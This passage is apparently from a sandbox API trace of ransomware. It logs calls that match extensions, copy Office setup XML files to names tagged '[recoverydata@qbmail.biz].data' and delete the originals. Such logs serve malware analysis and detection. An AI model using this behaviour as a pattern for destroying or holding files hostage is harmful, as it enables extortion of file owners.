returned 4 [0091.803] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0091.803] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0091.803] lstrlenW (lpString="SETUP.XML") returned 9 [0091.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.804] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=9352) returned 1 [0091.804] CloseHandle (hObject=0x218) returned 1 [0091.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0091.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0091.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.804] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.805] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.805] GetLastError () returned 0x0 [0091.805] ReadFile (in: hFile=0x218, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x2488, lpOverlapped=0x0) returned 1 [0091.808] WriteFile (in: hFile=0x204, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x2490, lpOverlapped=0x0) returned 1 [0091.809] ReadFile (in: hFile=0x218, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0091.810] WriteFile (in: hFile=0x204, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0091.810] SetEndOfFile (hFile=0x204) returned 1 [0091.810] CloseHandle (hObject=0x204) returned 1 [0091.814] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.814] SetEndOfFile (hFile=0x218) returned 1 [0091.816] CloseHandle (hObject=0x218) returned 1 [0091.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0091.816] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0091.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.817] lstrlenW (lpString=".doc") returned 4 [0091.817] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.817] lstrlenW (lpString=".docx") returned 5 [0091.817] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0091.817] lstrlenW (lpString=".pdf") returned 4 [0091.817] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.817] lstrlenW (lpString=".xls") returned 4 [0091.817] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0091.817] lstrlenW (lpString=".xlsx") returned 5 [0091.817] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0091.817] lstrlenW (lpString=".ppt") returned 4 [0091.817] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.817] lstrlenW (lpString=".zip") returned 4 [0091.817] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0091.817] lstrlenW (lpString=".rar") returned 4 [0091.817] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.817] lstrlenW (lpString=".bz2") returned 4 [0091.817] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.818] lstrlenW (lpString=".7z") returned 3 [0091.818] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.818] lstrlenW (lpString=".dbf") returned 4 [0091.818] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.818] lstrlenW (lpString=".1cd") returned 4 [0091.818] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.818] lstrlenW (lpString=".jpg") returned 4 [0091.818] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.818] lstrlenW (lpString=".doc") returned 4 [0091.819] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.819] lstrlenW (lpString=".docx") returned 5 [0091.819] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0091.819] lstrlenW (lpString=".pdf") returned 4 [0091.819] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.819] lstrlenW (lpString=".xls") returned 4 [0091.819] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0091.819] lstrlenW (lpString=".xlsx") returned 5 [0091.819] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0091.819] lstrlenW (lpString=".ppt") returned 4 [0091.819] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.819] lstrlenW (lpString=".zip") returned 4 [0091.819] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0091.819] lstrlenW (lpString=".rar") returned 4 [0091.819] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.819] lstrlenW (lpString=".bz2") returned 4 [0091.819] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.820] lstrlenW (lpString=".7z") returned 3 [0091.820] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.820] lstrlenW (lpString=".dbf") returned 4 [0091.820] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.820] lstrlenW (lpString=".1cd") returned 4 [0091.820] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0091.820] lstrlenW (lpString=".jpg") returned 4 [0091.820] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.821] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0091.821] lstrlenW (lpString="Office32MUI.XML") returned 15 [0091.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.823] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1383) returned 1 [0091.823] CloseHandle (hObject=0x218) returned 1 [0091.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0091.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0091.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.823] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.823] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.826] GetLastError () returned 0x0 [0091.826] ReadFile (in: hFile=0x218, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x567, lpOverlapped=0x0) returned 1 [0091.829] WriteFile (in: hFile=0x204, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x570, lpOverlapped=0x0) returned 1 [0091.830] ReadFile (in: hFile=0x218, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0091.830] WriteFile (in: hFile=0x204, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0091.831] SetEndOfFile (hFile=0x204) returned 1 [0091.831] CloseHandle (hObject=0x204) returned 1 [0091.832] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.832] SetEndOfFile (hFile=0x218) returned 1 [0091.834] CloseHandle (hObject=0x218) returned 1 [0091.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0091.838] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0091.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.838] lstrlenW (lpString=".doc") returned 4 [0091.838] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.839] lstrlenW (lpString=".docx") returned 5 [0091.839] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0091.839] lstrlenW (lpString=".pdf") returned 4 [0091.839] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.839] lstrlenW (lpString=".xls") returned 4 [0091.839] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0091.839] lstrlenW (lpString=".xlsx") returned 5 [0091.839] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0091.839] lstrlenW (lpString=".ppt") returned 4 [0091.839] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.840] lstrlenW (lpString=".zip") returned 4 [0091.840] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0091.840] lstrlenW (lpString=".rar") returned 4 [0091.840] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.840] lstrlenW (lpString=".bz2") returned 4 [0091.840] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.840] lstrlenW (lpString=".7z") returned 3 [0091.840] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.840] lstrlenW (lpString=".dbf") returned 4 [0091.840] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.841] lstrlenW (lpString=".1cd") returned 4 [0091.841] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.841] lstrlenW (lpString=".jpg") returned 4 [0091.841] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.841] lstrlenW (lpString=".doc") returned 4 [0091.841] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.841] lstrlenW (lpString=".docx") returned 5 [0091.842] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0091.842] lstrlenW (lpString=".pdf") returned 4 [0091.842] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.842] lstrlenW (lpString=".xls") returned 4 [0091.842] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0091.842] lstrlenW (lpString=".xlsx") returned 5 [0091.842] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0091.842] lstrlenW (lpString=".ppt") returned 4 [0091.842] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.842] lstrlenW (lpString=".zip") returned 4 [0091.842] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0091.842] lstrlenW (lpString=".rar") returned 4 [0091.842] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.843] lstrlenW (lpString=".bz2") returned 4 [0091.843] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.843] lstrlenW (lpString=".7z") returned 3 [0091.843] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.843] lstrlenW (lpString=".dbf") returned 4 [0091.843] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.843] lstrlenW (lpString=".1cd") returned 4 [0091.843] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0091.843] lstrlenW (lpString=".jpg") returned 4 [0091.843] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.844] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0091.844] lstrlenW (lpString="SETUP.XML") returned 9 [0091.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0092.308] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2362) returned 1 [0092.308] CloseHandle (hObject=0x194) returned 1 [0092.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0092.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0092.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0092.308] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0092.308] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0092.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0092.309] GetLastError () returned 0x0 [0092.309] ReadFile (in: hFile=0x194, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x93a, lpOverlapped=0x0) returned 1 [0092.314] WriteFile (in: hFile=0x18c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x940, lpOverlapped=0x0) returned 1 [0092.315] ReadFile (in: hFile=0x194, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0092.316] WriteFile (in: hFile=0x18c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0092.316] SetEndOfFile (hFile=0x18c) returned 1 [0092.316] CloseHandle (hObject=0x18c) returned 1 [0092.317] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0092.317] SetEndOfFile (hFile=0x194) returned 1 [0092.318] CloseHandle (hObject=0x194) returned 1 [0092.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0092.318] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0092.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.319] lstrlenW (lpString=".doc") returned 4 [0092.319] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0092.319] lstrlenW (lpString=".docx") returned 5 [0092.319] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0092.319] lstrlenW (lpString=".pdf") returned 4 [0092.319] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0092.319] lstrlenW (lpString=".xls") returned 4 [0092.319] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0092.319] lstrlenW (lpString=".xlsx") returned 5 [0092.319] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0092.319] lstrlenW (lpString=".ppt") returned 4 [0092.319] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0092.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.319] lstrlenW (lpString=".zip") returned 4 [0092.319] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0092.319] lstrlenW (lpString=".rar") returned 4 [0092.319] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0092.320] lstrlenW (lpString=".bz2") returned 4 [0092.320] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0092.320] lstrlenW (lpString=".7z") returned 3 [0092.320] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0092.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.320] lstrlenW (lpString=".dbf") returned 4 [0092.320] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0092.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.320] lstrlenW (lpString=".1cd") returned 4 [0092.320] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0092.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.320] lstrlenW (lpString=".jpg") returned 4 [0092.320] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0092.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.320] lstrlenW (lpString=".doc") returned 4 [0092.320] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0092.320] lstrlenW (lpString=".docx") returned 5 [0092.320] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0092.320] lstrlenW (lpString=".pdf") returned 4 [0092.320] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0092.320] lstrlenW (lpString=".xls") returned 4 [0092.320] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0092.320] lstrlenW (lpString=".xlsx") returned 5 [0092.320] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0092.321] lstrlenW (lpString=".ppt") returned 4 [0092.321] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0092.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.321] lstrlenW (lpString=".zip") returned 4 [0092.321] lstrcmpiW (lpString1=".zip", 